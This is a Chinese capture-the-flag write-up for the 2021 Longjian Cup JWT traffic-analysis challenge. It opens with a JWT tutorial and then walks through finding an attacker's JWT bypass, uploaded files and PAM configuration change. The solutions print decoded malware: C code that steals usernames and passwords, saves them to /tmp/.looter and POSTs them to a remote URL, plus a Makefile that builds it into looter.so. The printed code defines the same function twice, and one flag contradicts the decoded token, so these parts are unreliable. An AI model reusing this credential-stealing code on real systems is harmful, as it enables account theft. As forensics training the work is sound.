2021陇剑杯——流量分析

JWT简介

JWT（JSON Web Token）是一种开放标准（RFC 7519），用于在网络应用环境中以一种紧凑的、URL安全的方式传递声明（Claims）。JWT通常用于身份验证、信息交换以及验证消息的完整性。JWT通过在不同系统之间传递数据而保证数据的完整性，并提供身份验证信息。

JWT的结构

JWT通常由三部分组成，分别是：

  1. 头部（Header）
  2. 载荷（Payload）
  3. 签名（Signature）

这三部分通过点（.）连接，形成一个完整的JWT。

1. 头部（Header）

头部通常包含两部分信息：

  • 类型（type）：通常是JWT，表明这是一个JWT令牌。
  • 签名算法（alg）：指定用来签名JWT的算法，例如HMAC SHA256或RSA等。

示例：

{
  "alg": "HS256",
  "typ": "JWT"
}

2. 载荷（Payload）

载荷部分包含了要传递的声明（Claims）。声明可以分为三类：

  • 注册声明（Registered Claims）：这些是JWT标准定义的预设字段，如：
    • iss（Issuer）：签发者
    • sub（Subject）：主题（如用户ID）
    • aud（Audience）：受众（谁能使用该令牌）
    • exp（Expiration Time）：过期时间
    • nbf（Not Before）：在此时间之前不可用
    • iat（Issued At）：发布时间
    • jti（JWT ID）：JWT的唯一标识符
  • 公共声明（Public Claims）：这些是用户自定义的声明，可以是任何符合JWT规范的字段，建议使用URI作为命名空间以避免冲突。
  • 私有声明（Private Claims）：由使用JWT的双方约定的声明，通常用于交换双方的专有信息。

示例：

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

3. 签名（Signature）

签名部分用于验证JWT的完整性，确保载荷和头部在传输过程中没有被篡改。为了生成签名，使用头部中的签名算法对头部和载荷进行加密。

签名的计算方法为：

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

其中，secret是一个密钥，用于签名算法。如果使用非对称加密算法（如RSA），则使用私钥签名。

JWT的工作原理

  1. 客户端认证：客户端使用用户名和密码登录，服务器验证用户身份并返回一个JWT。
  2. 传递JWT：客户端将JWT存储在本地（例如在localStorage或cookie中），并在每次请求时将其附加在HTTP请求头中（通常是Authorization: Bearer <JWT>）。
  3. 验证JWT：服务器接收到请求时，从请求头中提取JWT，验证JWT的签名是否有效，并检查JWT的过期时间和其他声明。
  4. 身份验证和授权：服务器验证JWT后，如果有效，就可以根据JWT中的声明来进行身份验证和授权。

JWT的优缺点

优点：

  • 无状态（Stateless）：JWT是自包含的，包含了用户的身份和权限信息，服务器不需要存储任何会话状态，因此适合分布式系统和微服务架构。
  • 跨域支持：JWT是基于HTTP头部传递的，因此非常适合跨域请求，尤其是在RESTful API中使用。
  • 灵活性：JWT支持多种加密算法（对称或非对称），适应不同的应用场景。

缺点：

  • 令牌大小：由于JWT将所有信息都嵌入令牌中，令牌可能相对较大，尤其是在信息量大的时候。
  • 没有撤销机制：JWT是无状态的，服务器无法直接撤销某个JWT。如果需要撤销JWT，通常需要配合黑名单机制或者设置短期过期时间。
  • 安全性问题：如果使用不安全的签名算法或密钥泄露，JWT可能会被伪造。因此，务必使用强大的加密算法和保密的密钥。

使用场景

  • 身份认证：用户登录后，服务器生成一个JWT，客户端保存并在后续请求中携带JWT，以免重复登录。
  • 信息交换：JWT是一种安全的信息传输方式，可以在不同的应用间传递经过加密的信息。
  • 授权：JWT可以携带用户的角色或权限信息，在服务器端进行验证，决定用户是否有访问某些资源的权限。

总结来说，JWT作为一种紧凑、URL安全的身份验证标准，在分布式系统中广泛应用，特别是在单点登录（SSO）和微服务架构中。

模拟JWT报文

JWT由三部分组成，分别是头部、载荷和签名，用.连接。假设密钥是secret，生成的JWT报文如下：

Header:
{
  "alg": "HS256",
  "typ": "JWT"
}

Payload:
{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

Signature:
HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

最终的JWT：
eyJhbGciOiAiSFMyNTYiLCJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiAiSm9obiBEb2UiLCJpYXQiOiAiMTUxNjIzOTAyMiJ9.TZr7_yiDbD0lYXbCpaDBv9Xf7Byc1dfy-J-_6HJrrR4

各部分解析

  1. 头部（Header）：
    {
      "alg": "HS256",
      "typ": "JWT"
    }
    • alg: 指定了签名算法，这里使用的是HS256，即HMAC使用SHA-256算法。
    • typ: 类型，通常是JWT，表示这是一个JWT令牌。
  2. 载荷（Payload）：
    {
      "sub": "1234567890",
      "name": "John Doe",
      "iat": 1516239022
    }
    • sub: 用户ID，表示JWT属于哪一个用户，这里是1234567890。
    • name: 用户名，表示该用户的名字是John Doe。
    • iat: 签发时间，表示JWT的签发时间戳（Unix时间戳），这里是1516239022，即2018年1月19日。
  3. 签名（Signature）：
    • 使用密钥secret和HMAC SHA-256算法对头部和载荷进行签名，确保JWT的完整性和防止篡改。
    • 签名部分是通过加密和计算生成的，防止JWT被伪造。

JWT的验证

在服务器端收到JWT时，可以通过以下步骤验证其有效性：

  1. 解析JWT：分离头部、载荷和签名部分。
  2. 验证签名：使用服务器的secret密钥对头部和载荷进行签名计算，然后与JWT中的签名部分进行比对。如果签名匹配，说明JWT未被篡改。
  3. 检查有效期：验证JWT是否过期，通常使用exp字段来表示过期时间，确保JWT在有效期内。

通过这个过程，JWT能够提供安全的身份验证和数据传输。

题目来源：陇剑杯2021流量分析

<https://forensics.didctf.com/challenges#jwt-1-2>

1，昨天，单位流量系统捕获了⿊客攻击流量，请您分析流量后进⾏回答：该⽹站使⽤了( )认证方式？(如有字母则默认小写)

2，黑客绕过验证使用的jwt中，id和username是___。（中间使用#号隔开，例如1#admin）

3，黑客获取webshell之后，权限是___？(字母默认小写)

4，黑客上传的恶意文件文件名是___。(请提交带有文件后缀的文件名，例如x.txt)

5，黑客在服务器上编译的恶意so文件，文件名是___。(请提交带有文件后缀的文件名，例如x.so)

6，黑客在服务器上修改了一个配置文件，文件的绝对路径为___。（请确认绝对路径后再提交）

1，JWT认证工作与客户端与服务端，那么工作场景应该在http协议下的登录场景（存在login.php），过滤出来

然后追踪http流查看详情，搜索token

注意到token,其第一段包含了签名算法和认证类型，使用base64解码一下token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc

最后解码得到JWT

2，根据题目我们就要看看攻击者是在哪个阶段绕过jwt认证的，最后几条流量包追踪http流是能够看到攻击者命令执行的payload

那么结合渗透测试经验并逆向思维去推敲，攻击者命令执行注入打服务器第一件事是查看自己是谁，执行命令whoami，这就能得到username为root

这条数据流还包含了token，我们知道jwt认证体系里面token第二段是包含了id，用户名，解码看看

flag{10087#admin}

3，获取webshell后的权限，就需要我们找攻击者是控制网站后做了什么。http追踪流看见有一个alert弹窗功能弹出来root，这代表了admi用户是root权限

4，攻击提交恶意文件的的请求方法应该是post

然后追踪这些http流，查看里面命令执行注入的payload

由此可以判断攻击者创建了一个1.c，就是恶意文件

这里是解码后的内容：
#include <stdio.h>
#include <curl/curl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void saveMessage(char *message) {
    FILE *fp = fopen("/tmp/.looter", "a+");
    if (fp == NULL) {
        return;
    }
    fputs(message, fp);
    fclose(fp);
}

void saveMessage(char *message) {
    CURL *curl;
    CURLcode res;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "Example Domain");
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, message);
        res = curl_easy_perform(curl);
        curl_easy_cleanup(curl);
    }
    curl_global_cleanup();
}

int main(int argc, char *argv[]) {
    char message[1024];
    snprintf(message, sizeof(message), "Username: %s\nPassword: %s", argv[1], argv[2]);
    saveMessage(message);
    return 0;
}

  • 分析代码： 解码后的代码显然是一个C语言编写的程序，功能如下：
    • saveMessage函数：这个函数将接收到的消息保存到文件/tmp/.looter中。它首先以追加模式打开文件，如果打开成功，则写入消息并关闭文件。
    • saveMessage函数（使用CURL库）：这个函数会使用CURL库将消息发送到一个远程服务器，URL为http://example.com/，并通过HTTP POST请求发送消息。curl_easy_setopt用于配置CURL请求，将消息作为POST字段发送。
    • main函数：从命令行参数argv中读取用户名和密码，然后调用saveMessage函数保存该信息。
  • 潜在目的：
    • 信息窃取：程序可能用于窃取用户的用户名和密码，并将这些敏感信息通过HTTP请求发送到远程服务器（在这个例子中是http://example.com/，但这可能是攻击者指定的恶意URL）。
    • 本地存储：它还将信息保存在本地文件/tmp/.looter中，可能用于后续访问或恶意行为。
  • 危险性：
    • 该程序具有非常明显的恶意目的，它能够窃取敏感信息（如用户名和密码），并通过HTTP POST发送到远程服务器。即使没有网络连接，它也会将信息保存到本地，供恶意方稍后提取。
  • 总结： 这个命令的payload显然是一个恶意脚本，其目的是窃取用户的敏感信息，并将这些信息上传到远程服务器。它利用C语言编写，使用了CURL库进行HTTP请求，此外还将信息保存到本地文件中，增加了潜在的威胁。

5，根据题目请求，搜索出存在.so文件的字节流过滤

NO.125然后追踪其字节流就能找到攻击者命令注入对编译后端恶意文件looter.so进行操作

而在字节流16就能找到攻击者编译这个恶意程序的命令

1. Base64解码

将echo后面的Base64字符串解码后得到以下内容：

CFLAGS += -Werror -Wall

looter.so: looter.c
        gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl

2. 解码内容分析

这是一个典型的Makefile文件，作用是使用gcc编译一个共享库（.so文件）。以下是对其内容的逐步分析：

（1）CFLAGS的定义

CFLAGS += -Werror -Wall

  • CFLAGS 是用于gcc编译器的选项变量：
    • -Wall：启用所有常见的警告，帮助开发者发现代码中的潜在问题。
    • -Werror：将所有的警告当作错误处理，强制开发者修复警告。

（2）目标文件的定义

looter.so: looter.c
        gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl

  • looter.so 是目标文件的名称，表示将生成一个共享库文件。
  • looter.c 是源文件，表示需要从looter.c编译生成目标文件。
  • 使用的命令：
    • gcc $(CFLAGS)：使用前面定义的编译选项。
    • -fPIC：生成与位置无关的代码（Position Independent Code），这是创建共享库所必须的。
    • -shared：生成一个共享库。
    • -Xlinker -x：向链接器传递-x选项，可能是为了减少符号表内容。
    • -o $@：指定输出文件，$@代表目标文件名（即looter.so）。
    • $<：表示第一个依赖文件（即looter.c）。
    • -lcurl：链接CURL库，说明目标文件中依赖CURL相关功能。

3. Makefile的功能总结

该Makefile用于编译一个名为looter.so的共享库，使用的源文件是looter.c，并且需要链接CURL库。这表明looter.c可能是一个实现某些网络操作的C程序。

结合共享库的生成特性和CURL的使用，looter.c很可能是一个恶意文件，用于执行某些网络通信（如数据窃取或恶意命令发送）。

4. 潜在危险

从命令上下文来看，looter.c可能是一个恶意文件，而looter.so的生成会为攻击者提供一个易于加载的共享库，可能通过以下方式滥用：

  • 动态注入：攻击者可能利用looter.so注入到合法程序中执行恶意行为。
  • 网络通信：由于链接了CURL库，looter.so可能会与外部服务器通信，窃取数据或发送攻击指令。

5. 总结与建议

总结

这个Base64编码的命令是为了生成一个编译共享库的Makefile，而looter.c及生成的looter.so很可能是恶意文件，其目的是：

  • 编译一个支持网络通信的动态共享库。
  • 通过CURL实现与远程服务器的通信。

建议

  1. 阻止编译：如果发现此命令或相关文件，应立即删除looter.c和Makefile，避免生成looter.so。
  2. 监控系统：检查系统是否已存在looter.so或类似文件，防止被动态链接或加载。
  3. 网络拦截：监控和拦截系统中的异常HTTP请求，特别是向未知服务器发送的数据。
  4. 加固环境：使用防病毒工具扫描系统，确认是否有其他相关恶意文件。

6，攻击者修改了什么配置文件，这个也可以通过搜索来查找

然后再追踪字节流，查看字节流26，27，发现更改文件的操作，因为这些文件存在于/etc下，故而推测是系统配置文件/etc/pam.d/common-auth

.so 文件

一种Linux 和类 Unix 操作系统中使用的共享库（Shared Object）文件格式。它类似于 Windows 系统中的 .dll（动态链接库）。共享库的主要作用是为多个程序提供公共的功能和代码，从而避免重复的代码复制，提高系统资源的使用效率。

1. .so 文件概述

  • 全称：Shared Object，即共享对象文件。
  • 文件后缀：.so，通常会带有版本号，如 libexample.so.1 或 libexample.so.1.2，用于标识不同版本的库。

共享库允许多个程序同时使用同一份库文件，减少内存占用和磁盘空间。它还允许程序在运行时动态加载库文件，并在程序执行时链接和调用共享库中的函数。

2. 共享库的特点

  • 动态链接：与静态库（.a文件）不同，.so 文件是在程序运行时被加载和链接的，而不是在编译时链接进可执行文件中。这意味着，程序在编译时并不需要包含库的代码，而是通过链接器在运行时加载。
  • 内存共享：当多个程序加载同一个 .so 文件时，操作系统会将该库的代码加载到内存中的一个位置，并且多个程序会共享这部分内存。这能够减少程序的内存占用。
  • 版本控制：.so 文件通常有版本控制，系统和开发者可以选择指定某个版本的库进行链接。例如，libexample.so.1 可能指向 libexample.so.1.2，而更高版本的库 libexample.so.2 可以共存而不干扰。
  • 灵活性：共享库可以在程序运行时被动态加载，更新 .so 文件并不需要重新编译程序，只要接口保持不变，程序就可以继续正常运行。

3. 如何使用 .so 文件

1. 编译共享库

共享库通常是通过 C/C++ 等语言编写的源代码生成的，编译时需要使用 -fPIC（Position Independent Code，位置无关代码）和 -shared 标志。

例如，编译一个 C 文件生成 .so 文件：

gcc -fPIC -shared -o libexample.so example.c

这条命令将 example.c 编译成 libexample.so 共享库文件。

2. 链接共享库

在编译其他程序时，如果想使用 .so 文件提供的功能，需要在编译时指定链接到该共享库。

例如，如果要将 libexample.so 链接到一个程序中，可以使用以下命令：

gcc -o myprogram myprogram.c -L/path/to/library -lexample

  • -L/path/to/library：指定 .so 文件所在的目录。
  • -lexample：指定要链接的共享库（省略了 lib 前缀和 .so 后缀）。

3. 运行时加载共享库

在程序运行时，操作系统会根据环境变量 LD_LIBRARY_PATH 查找共享库。例如：

export LD_LIBRARY_PATH=/path/to/library:$LD_LIBRARY_PATH
./myprogram

如果 .so 文件已经安装到系统默认的库目录（如 /lib 或 /usr/lib），则操作系统会自动加载它。

4. 共享库的优势

  • 节省资源：多个程序可以共享同一份代码，减少了内存和磁盘空间的占用。
  • 易于更新和维护：共享库的更新不需要重新编译程序，只要接口保持兼容，程序就能自动使用新版本的库。
  • 灵活的版本管理：开发者可以为不同版本的库提供不同的 .so 文件，允许程序在运行时选择合适的版本。

5. 共享库的使用场景

共享库广泛应用于各种程序和系统中，尤其在以下情况下非常有用：

  • 常用功能的抽象：如图形、音频处理、网络通信等，开发者可以将常用的功能打包成共享库，供多个程序使用。
  • 插件系统：许多应用程序（如 Web 浏览器、文本编辑器等）使用共享库来提供插件扩展功能。
  • 操作系统和系统工具：许多系统工具和操作系统本身使用共享库提供各种基础功能，如文件操作、网络通信等。

6. 恶意 .so 文件

.so 文件也可能被恶意使用，例如：

  • 恶意代码注入：攻击者可能编写恶意 .so 文件，并将其注入到正常的程序中，导致程序执行不安全的操作。例如，利用共享库注入网络窃取工具或恶意后门。
  • 利用共享库执行攻击：攻击者通过某些漏洞，可能会让受害者程序加载恶意共享库，进而窃取敏感数据或执行其他恶意操作。

7. 如何防止恶意 .so 文件的影响

  • 文件签名验证：确保所有的 .so 文件都有适当的数字签名，验证文件是否由可信开发者提供。
  • 限制库加载目录：通过设置操作系统的LD_LIBRARY_PATH 环境变量或其他安全策略，限制可加载的 .so 文件目录。
  • 使用安全框架：如 SELinux（Security-Enhanced Linux）或 AppArmor，来限制程序对共享库的访问。

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